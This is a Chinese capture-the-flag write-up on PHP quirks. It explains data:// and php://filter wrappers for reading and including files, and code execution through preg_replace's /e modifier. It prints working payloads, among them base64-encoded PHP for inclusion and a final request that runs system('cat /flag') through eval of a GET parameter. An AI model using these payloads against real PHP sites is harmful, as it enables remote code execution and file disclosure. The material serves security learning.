php特性
1.先看代码,提示了next.php,绕过题目的要求去回显next.php
2.可以看到要求存在text内容而且text内容强等于后面的字符串,而且先通过这个if才能执行下面的file参数。
3.看到用的是file_get_contents()函数打开text。想到用data://协议,可以想成创建了临时文件读取
payload:
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
data:text/plain详解补充
Data URI 的格式十分简单,如下所示:
data:[<mime type>][;charset=<charset>][;base64],<encoded data>
-
第一部分是
data:
协议头,它标识这个内容为一个 data URI 资源。 -
第二部分是 MIME 类型,表示这串内容的展现方式,比如:
text/plain
,则以文本类型展示,image/jpeg
,以 jpeg 图片形式展示,同样,客户端也会以这个 MIME 类型来解析数据。 -
第三部分是编码设置,默认编码是
charset=US-ASCII
, 即数据部分的每个字符都会自动编码为%xx
,关于编码的测试,可以在浏览器地址框输入分别输入下面两串内容,查看效果:// output: ä½ å¥½ -> 使用默认的编码展示,故乱码 data:text/html,你好 // output: 你好 -> 使用 UTF-8 展示 data:text/html;charset=UTF-8,你好 // output: 浣犲ソ -> 使用 gbk 展示(浏览器默认编码 UTF-8,故乱码) data:text/html;charset=gbk,你好 // output: 你好 -> UTF-8 编码,内容先使用 base64 解码,然后展示 data:text/html;charset=UTF-8;base64,5L2g5aW9
-
第四部分是 base64 编码设定,这是一个可选项,base64 编码中仅包含 0-9,a-z,A-Z,+,/,=,其中 = 是用来编码补白的。
-
最后一部分为这个 Data URI 承载的内容,它可以是纯文本编写的内容,也可以是经过 base64编码 的内容。
注意(题外补充)
通过data://text/plain协议来进行漏洞利用。
?file=data://text/plain,<?php phpinfo();?>
发现不能使用,而且自己的代码没有问题啊?不知道为什么? 然后测试
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
发现还是错误的
然后测试下面的。成功~~~
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==
总结: 通过实验发现这个可能是编码的问题因为<?php phpinfo();?>在编成base64的时候出现了+。而浏览器不认识+号。所以解决方法
不写后面的?> 因为PHP里面其实不需要写后面的 前面的;号就已经说明结束了。如果没有;号就必须写?>作为结束。 添加空格改变base64编码。 将+号换成%2b 所以其实不需要通过base64编码来实现 将<?php phpinfo();?>改变成url编码。这样浏览器可以识别
回到题目
得到页面源码,接着base64解码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}
function getFlag(){@eval($_GET['cmd']);
}
id参数可以不管
可以看出,先传参执行complex,来执行getFlag()获得flag
可以先看下面,是其中代码解释
在页面传参后使$re值为参变量123 $str值为${getflag()},来传入complex函数
这里解题的关键就是preg_replace()+/e
存在代码执行漏洞
preg_replace (正则表达式, 替换成什么, 目标字符串, 最大替换次数【默认-1,无数次】, 替换次数)
意思就是就是把(目标字符串) 根据(正则表达的要求) 替换成什么
在此之前说明一些东西
双引号
<?php
echo "{${phpinfo()}}";
?>
出现
单引号
<?php
echo '{${phpinfo()}}';
?>
这是因为双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换
在看一个例子
<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${phpinfo()});
?>
我们可以控制第一个和第三个参数,第二个参数固定为 'strtolower("\1")' 字符串。使用 strtolower("\\1")
,它将匹配的内容转换为小写。 我们先看第二个参数中的\1 ,\1实际上就是 \1,而 \1 在正则表达式中有自己的含义,
反向引用 对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中, 所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。 缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问, 其中 n 为一个标识特定缓冲区的一位或两位十进制数。
\1 实际上指定的是第一个子匹配项。而这段代码里面的第一个子匹配项就是${phpinfo()}。这样我们就执行了phpinfo。
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)
因此可以通过preg_replace 的 /e 修正符会将 replacement 参数当作 php 代码,并且以 eval 函数的方式执行
其中在正则表达式中,/(.*)/ei
是一个匹配任意字符(.
)零次或多次(*
),并将匹配的内容放入一个捕获组中的正则表达式。
回到题目
当我们通过/?.*={${phpinfo()}}方式传入却无法执行。在var_dump输出一下$_GET数组
var_dump($_GET);
这里我们发现了.变成了_,这是因为php会将传入的非法的参数名转成下滑线,所以我们的正则匹配才会失效。
当非法字符为首字母时,只有点号会被替换成下划线,也使用\s Payload:
\S*=${phpinfo()}
最后Payload:
/next.php?\S*=${getflag()}&cmd=system('cat /flag');